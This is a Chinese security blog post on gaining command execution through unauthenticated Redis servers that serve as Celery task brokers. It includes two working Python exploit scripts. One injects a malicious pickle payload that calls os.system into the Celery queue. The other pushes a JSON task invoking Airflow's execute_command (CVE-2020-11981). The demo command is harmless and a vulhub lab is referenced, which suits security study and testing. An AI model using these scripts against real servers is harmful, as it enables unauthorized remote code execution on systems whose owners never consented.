Celery Redis未授权访问命令执行利用

最新推荐文章于 2023-03-06 13:54:01 发布

fnmsd

最新推荐文章于 2023-03-06 13:54:01 发布

阅读量7.1k

点赞数 1

分类专栏：安全 Python 文章标签：安全

本文链接：https://blog.csdn.net/fnmsd/article/details/118575254

版权

安全同时被 2 个专栏收录

22 篇文章 2 订阅

订阅专栏

Python

2 篇文章 1 订阅

订阅专栏

在这里插入图片描述
首发补天社区：https://forum.butian.net/share/224←走过路过帮点一下~

前言

Celery 是一个简单、灵活且可靠的分布式系统，用于处理大量消息，同时为操作提供维护此类系统所需的工具。它是一个专注于实时处理的任务队列，同时也支持任务调度。

前段时间碰到个未授权的Redis，看里面的数据是作为Celery的任务队列使用，所以想研究下这种情况应该如何进行利用。

目前能够想到的利用有两种：

任务信息序列化使用pickle模式，利用python反序列化漏洞进行利用
找到可以执行任意命令、代码、函数的Task，下发该Task任务

本文只讨论Redis,使用其他AMQP（ActiveMQ、RabbitMQ等等）应该也是同理。

相关环境已经给vulhub提了PR，后续可以从vulhub上布置环境进行体验。

目前celery3.1.x的环境已经合进去了：

https://github.com/vulhub/vulhub/tree/master/celery/celery3_redis_unauth

Celery的任务Serializer

有个比较有意思的地方：3.1.x最后一个版本为3.1.26,在README中说明下一个版本为3.2，结果3.1.x之后的版本，直接变成4.0.


`task_serializer`	4.0之前默认为pickle，之后为json
`result_serializer`	4.0之前默认为pickle，之后为json
`event_serializer`	只接受JSON

Celery < 4.0的利用（Pickle反序列化利用）

由于Celery < 4.0的情况下，默认的task_serializer为pickle，可以直接利用pickle反序列化漏洞进行利用。

（如果对方取result的话，也可在取result处进行覆盖利用）

本章以Celery3.1.23为例进行利用。

写一个最简单的Task：

from celery import Celery
app = Celery('tasks', broker='redis://redis/0')
@app.task
def add(x, y):
    return x + y

Celery使用的默认队列名为celery，在Redis中表现为db中存在一个key为celery的List（存在未消费的任务时存在）:

在无Worker的情况下启动任务：

在这里插入图片描述

可以看到名为celery的key，以及其中内容，body为base64后的pickle序列化内容。

在这里插入图片描述

**Tips：**可以通过以_kumbu.bind.为前缀的key，确定都有哪些队列，这个是Kombu的一个命名规范

Celery的具体任务消息结果可以参考官方文档，此处不做详细讨论：

https://docs.celeryproject.org/en/stable/internals/protocol.html

Celery使用Kombu这个AMQP实现进行任务的下发与拉取，这里不分析详细逻辑，直接拿出队列内容，写一个简单的利用脚本（执行touch /tmp/celery_success命令），将body内容替换为命令执行的pickle数据：

import pickle
import json
import base64
import redis
#redis连接
r = redis.Redis(host='localhost', port=6379, decode_responses=True,db=0) 
#队列名
queue_name = 'celery'
ori_str="{\"content-type\": \"application/x-python-serialize\", \"properties\": {\"delivery_tag\": \"16f3f59d-003c-4ef4-b1ea-6fa92dee529a\", \"reply_to\": \"9edb8565-0b59-3389-944e-a0139180a048\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"delivery_info\": {\"routing_key\": \"celery\", \"priority\": 0, \"exchange\": \"celery\"}, \"correlation_id\": \"6e046b48-bca4-49a0-bfa7-a92847216999\"}, \"headers\": {}, \"content-encoding\": \"binary\", \"body\": \"gAJ9cQAoWAMAAABldGFxAU5YBQAAAGNob3JkcQJOWAQAAABhcmdzcQNLZEvIhnEEWAMAAAB1dGNxBYhYBAAAAHRhc2txBlgJAAAAdGFza3MuYWRkcQdYAgAAAGlkcQhYJAAAADZlMDQ2YjQ4LWJjYTQtNDlhMC1iZmE3LWE5Mjg0NzIxNjk5OXEJWAgAAABlcnJiYWNrc3EKTlgJAAAAdGltZWxpbWl0cQtOToZxDFgGAAAAa3dhcmdzcQ19cQ5YBwAAAHRhc2tzZXRxD05YBwAAAHJldHJpZXNxEEsAWAkAAABjYWxsYmFja3NxEU5YBwAAAGV4cGlyZXNxEk51Lg==\"}"
task_dict = json.loads(ori_str)
command = 'touch /tmp/celery_success'
class Person(object):
    def __reduce__(self):
    	return (__import__('os').system, (command,))
pickleData = pickle.dumps(Person())
task_dict['body']=base64.b64encode(pickleData).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))

执行之后，可以看到Celery Worker所在console有如下报错：

在这里插入图片描述

继续查看tmp目录，可以看到文件创建成功：
在这里插入图片描述

Celery 4.0之后的利用

Celery 4.0之后，默认的任务消息序列化方式由Pickle改为了JSON，无法直接再利用Pickle反序列化。

配置了CELERY_ACCEPT_CONTENT支持Pickle

Celery4.0之后，如果直接使用上面的脚本会有如下拒绝反序列化的提示：

在这里插入图片描述

实际上在celery 3.1.X后面的版本在启动worker时，会有个提示：如果3.2之后的版本（实际上是4.0），需要配置启动CELERY_ACCEPT_CONTENT选项来启动worker的pickle支持。

在这里插入图片描述

添加CELERY_ACCEPT_CONTENT配置，即可如4.0版本前一样进行利用：

app.conf['CELERY_ACCEPT_CONTENT'] = ['pickle', 'json', 'msgpack', 'yaml']

Apache Airflow的CeleryExecutor利用

CVE-2020-11981是利用Airflow的CeleryExecutor类来进行命令执行，可利用版本小于1.10.10，

当airflow使用CeleryExecutor进行执行时，会启动celery作为任务调度，Celery Worker中可执行airflow.executors.celery_executor.execute_command方法任务，具体代码看最后的diff图片。

execute_command就属于开始说的第二种，可以执行任意命令的task.

写入一个JSON任务消息执行airflow.executors.celery_executor.execute_command到airflow的celery redis队列中,此处注意队列名为default：

import pickle
import json
import base64
import redis
r = redis.Redis(host='localhost', port=6379, decode_responses=True,db=0) 
queue_name = 'default'
ori_str="{\"content-encoding\": \"utf-8\", \"properties\": {\"priority\": 0, \"delivery_tag\": \"f29d2b4f-b9d6-4b9a-9ec3-029f9b46e066\", \"delivery_mode\": 2, \"body_encoding\": \"base64\", \"correlation_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"delivery_info\": {\"routing_key\": \"celery\", \"exchange\": \"\"}, \"reply_to\": \"fb996eec-3033-3c10-9ee1-418e1ca06db8\"}, \"content-type\": \"application/json\", \"headers\": {\"retries\": 0, \"lang\": \"py\", \"argsrepr\": \"(100, 200)\", \"expires\": null, \"task\": \"airflow.executors.celery_executor.execute_command\", \"kwargsrepr\": \"{}\", \"root_id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"parent_id\": null, \"id\": \"ed5f75c1-94f7-43e4-ac96-e196ca248bd4\", \"origin\": \"gen1@132f65270cde\", \"eta\": null, \"group\": null, \"timelimit\": [null, null]}, \"body\": \"W1sxMDAsIDIwMF0sIHt9LCB7ImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNhbGxiYWNrcyI6IG51bGx9XQ==\"}"
task_dict = json.loads(ori_str)
command = ['touch', '/tmp/airflow_success']
body=[[command], {}, {"chain": None, "chord": None, "errbacks": None, "callbacks": None}]
task_dict['body']=base64.b64encode(json.dumps(body)).decode()
print(task_dict)
r.lpush(queue_name,json.dumps(task_dict))